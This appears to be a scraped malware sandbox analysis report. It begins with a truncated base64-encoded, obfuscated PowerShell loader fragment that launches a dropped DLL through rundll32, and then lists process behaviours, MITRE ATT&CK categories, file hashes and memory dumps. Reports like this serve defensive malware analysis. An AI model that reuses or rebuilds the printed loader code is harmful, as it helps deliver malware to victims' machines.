B0AGUAbQAnACkAIAAkAFAAeAB6AHgAOAB6AHIAKQAuACIAbABFAG4AYABnAFQAaAAiACAALQBnAGUAIAA0ADUANwA5ADIAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyAC4AZQAnACsAJwB4AGUAJwApACAAJABQAHgAegB4ADgAegByACwAMAA7ACQAVABkAGQAYwBfADMAbQA9ACgAKAAnAEQAdABiACcAKwAnAGcANgAnACkAKwAnAHcAJwArACcAMAAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQB5AHcAeABvAGsAPQAoACcAUwAnACsAKAAnAGQAYwAnACsAJwB3AHEAdgBjACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGsAMgBlAF8AcgBpAD0AKAAoACcARwB4ACcAKwAnAF8AJwApACsAKAAnAGkAJwArACcAYwBnADQAJwApACkABlocklisted process makes network requestSuspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeTokenSuspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exePID:2544"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll,0Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exePID:3956"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll,0Blocklisted process makes network requestLoads dropped DLLChecks whether UAC is enabled
Network
MITRE ATT&CK Matrix
Collection
Command and Control
Credential Access
Defense Evasion
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Replay Monitor
00:00
00:00
Downloads
-
C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll
MD52b47214db606e21fb5d58cc7c3a27242
SHA18b71bd0a2618d26a16a85245e7a92aef6d3da967
SHA256b12b65a39a6261016b7473cfd08c316cee6958739e00bb746331bdfb52b4b0bb
SHA512908057911bc6458f608700814b65be5706825314181f54ca42bd3745dd856cdee85a7b39a5d6f7c57e3203951e4c86578ad4079bfd1d5189a876c714c984c8fe
-
\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll
MD52b47214db606e21fb5d58cc7c3a27242
SHA18b71bd0a2618d26a16a85245e7a92aef6d3da967
SHA256b12b65a39a6261016b7473cfd08c316cee6958739e00bb746331bdfb52b4b0bb
SHA512908057911bc6458f608700814b65be5706825314181f54ca42bd3745dd856cdee85a7b39a5d6f7c57e3203951e4c86578ad4079bfd1d5189a876c714c984c8fe
-
memory/412-0-0x00007FF9E2D90000-0x00007FF9E33C7000-memory.dmp
-
memory/2544-10-0x0000000000000000-mapping.dmp
-
memory/3424-6-0x0000000000000000-mapping.dmp
-
memory/3424-8-0x000002130FDE0000-0x000002130FDE1000-memory.dmp
-
memory/3424-9-0x0000021329F80000-0x0000021329F81000-memory.dmp
-
memory/3424-7-0x00007FF9DBC00000-0x00007FF9DC5EC000-memory.dmp
-
memory/3848-5-0x0000000000000000-mapping.dmp
-
memory/3956-12-0x0000000000000000-mapping.dmp
-
memory/3956-14-0x0000000002F40000-0x0000000002F7D000-memory.dmp
-
memory/3956-15-0x0000000002F40000-0x0000000002F7D000-memory.dmp
Title
Loading Data